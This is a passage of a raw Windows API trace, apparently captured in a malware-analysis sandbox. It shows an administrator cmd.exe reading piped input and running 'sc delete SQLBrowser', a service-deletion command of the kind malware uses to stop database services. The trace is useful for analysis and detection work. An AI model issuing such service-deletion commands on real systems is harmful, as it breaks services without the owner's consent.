[0064.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="eAGENT\n\nce\n") returned 1 [0064.604] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.604] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.604] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="rGENT\n\nce\n") returned 1 [0064.604] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.604] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.604] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="\nENT\n\nce\n") returned 1 [0064.604] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.604] GetFileType (hFile=0xb8) returned 0x3 [0064.604] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.604] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.604] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.604] GetFileType (hFile=0x120) returned 0x3 [0064.605] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SQLBrowser\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SQLBrowser\n", lpUsedDefaultChar=0x0) returned 22 [0064.605] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x15, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x15, lpOverlapped=0x0) returned 1 [0064.605] GetProcessHeap () returned 0x1b0000 [0064.605] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d6630 [0064.605] GetProcessHeap () returned 0x1b0000 [0064.605] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d6630 | out: hHeap=0x1b0000) returned 1 [0064.605] GetProcessHeap () returned 0x1b0000 [0064.605] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0064.605] GetProcessHeap () returned 0x1b0000 [0064.605] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0064.605] GetProcessHeap () returned 0x1b0000 [0064.605] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x36) returned 0x1c6510 [0064.605] GetConsoleOutputCP () returned 0x1b5 [0064.606] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0064.606] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.606] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.606] GetProcessHeap () returned 0x1b0000 [0064.606] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0064.606] GetProcessHeap () returned 0x1b0000 [0064.606] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3c) returned 0x1caa40 [0064.606] GetProcessHeap () returned 0x1b0000 [0064.606] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0064.606] SetErrorMode (uMode=0x0) returned 0x1 [0064.606] SetErrorMode (uMode=0x1) returned 0x0 [0064.606] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0064.606] SetErrorMode (uMode=0x1) returned 0x1 [0064.606] GetProcessHeap () returned 0x1b0000 [0064.606] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0064.607] GetProcessHeap () returned 0x1b0000 [0064.607] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0064.607] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0064.607] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0064.607] GetProcessHeap () returned 0x1b0000 [0064.607] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0064.607] GetProcessHeap () returned 0x1b0000 [0064.607] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0064.607] GetProcessHeap () returned 0x1b0000 [0064.607] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0064.607] GetProcessHeap () returned 0x1b0000 [0064.607] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0064.607] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0064.607] GetProcessHeap () returned 0x1b0000 [0064.607] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0064.607] GetProcessHeap () returned 0x1b0000 [0064.607] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0064.607] GetProcessHeap () returned 0x1b0000 [0064.607] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0064.607] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.607] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.608] GetLastError () returned 0x2 [0064.608] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.608] GetLastError () returned 0x2 [0064.608] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.608] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0064.608] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0064.609] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.609] GetLastError () returned 0x2 [0064.609] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0064.609] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0064.609] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0064.609] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0064.609] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.609] GetProcessHeap () returned 0x1b0000 [0064.609] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0064.609] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.610] GetProcessHeap () returned 0x1b0000 [0064.610] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xa2) returned 0x1c9180 [0064.610] GetProcessHeap () returned 0x1b0000 [0064.610] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xa2 [0064.610] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SQLBrowser") returned 1 [0064.610] GetProcessHeap () returned 0x1b0000 [0064.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0064.610] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0064.610] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0064.610] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0064.611] GetProcessHeap () returned 0x1b0000 [0064.611] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.611] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.612] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.612] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.612] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0064.612] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0064.612] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0064.612] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0064.612] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0064.612] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0064.612] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0064.612] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0064.612] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0064.612] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0064.612] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0064.612] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.612] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.612] GetProcessHeap () returned 0x1b0000 [0064.612] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0064.612] GetProcessHeap () returned 0x1b0000 [0064.612] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0064.612] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SQLBrowser", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SQLBrowser", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete SQLBrowser", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x958, dwThreadId=0x968)) returned 1 [0064.616] CloseHandle (hObject=0x54) returned 1 [0064.616] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0064.616] GetProcessHeap () returned 0x1b0000 [0064.616] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0064.616] GetEnvironmentStringsW () returned 0x1d1b10* [0064.616] GetProcessHeap () returned 0x1b0000 [0064.616] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0064.616] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0064.616] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0064.616] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd4000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0064.617] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0064.680] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0064.680] CloseHandle (hObject=0x50) returned 1 [0064.680] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0064.680] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0064.680] GetProcessHeap () returned 0x1b0000 [0064.680] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0064.680] GetEnvironmentStringsW () returned 0x1d1b10* [0064.680] GetProcessHeap () returned 0x1b0000 [0064.680] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0064.680] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0064.680] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0064.680] GetProcessHeap () returned 0x1b0000 [0064.680] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0064.681] GetEnvironmentStringsW () returned 0x1d1b10* [0064.681] GetProcessHeap () returned 0x1b0000 [0064.681] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0064.681] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0064.681] GetProcessHeap () returned 0x1b0000 [0064.681] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0064.681] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0064.681] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0064.681] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.681] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0064.682] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.682] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0064.682] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.682] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0064.682] GetConsoleOutputCP () returned 0x1b5 [0064.682] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0064.682] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.682] GetProcessHeap () returned 0x1b0000 [0064.682] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0064.682] GetProcessHeap () returned 0x1b0000 [0064.683] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0064.683] GetProcessHeap () returned 0x1b0000 [0064.683] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0064.683] GetProcessHeap () returned 0x1b0000 [0064.683] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0064.683] GetProcessHeap () returned 0x1b0000 [0064.683] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0064.683] GetProcessHeap () returned 0x1b0000 [0064.683] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0064.683] GetProcessHeap () returned 0x1b0000 [0064.683] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0064.683] GetProcessHeap () returned 0x1b0000 [0064.683] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0064.683] GetProcessHeap () returned 0x1b0000 [0064.683] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0064.683] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0064.683] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.683] GetFileType (hFile=0x120) returned 0x3 [0064.683] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.683] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0064.683] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0064.683] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0064.683] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0064.684] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0064.684] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0064.684] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.684] GetFileType (hFile=0x120) returned 0x3 [0064.684] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0064.684] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0064.684] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.684] GetFileType (hFile=0xb8) returned 0x3 [0064.684] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.684] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.684] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.684] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete SQLBrowser\nENT\n\nce\n") returned 1 [0064.684] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.684] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.684] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.684] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete SQLBrowser\nENT\n\nce\n") returned 1 [0064.684] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.684] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.684] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.684] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete SQLBrowser\nENT\n\nce\n") returned 1 [0064.685] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.685] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.685] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.685] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete SQLBrowser\nENT\n\nce\n") returned 1 [0064.685] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.685] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.685] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.685] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete SQLBrowser\nENT\n\nce\n") returned 1 [0064.685] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.685] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.685] ReadFile (in: 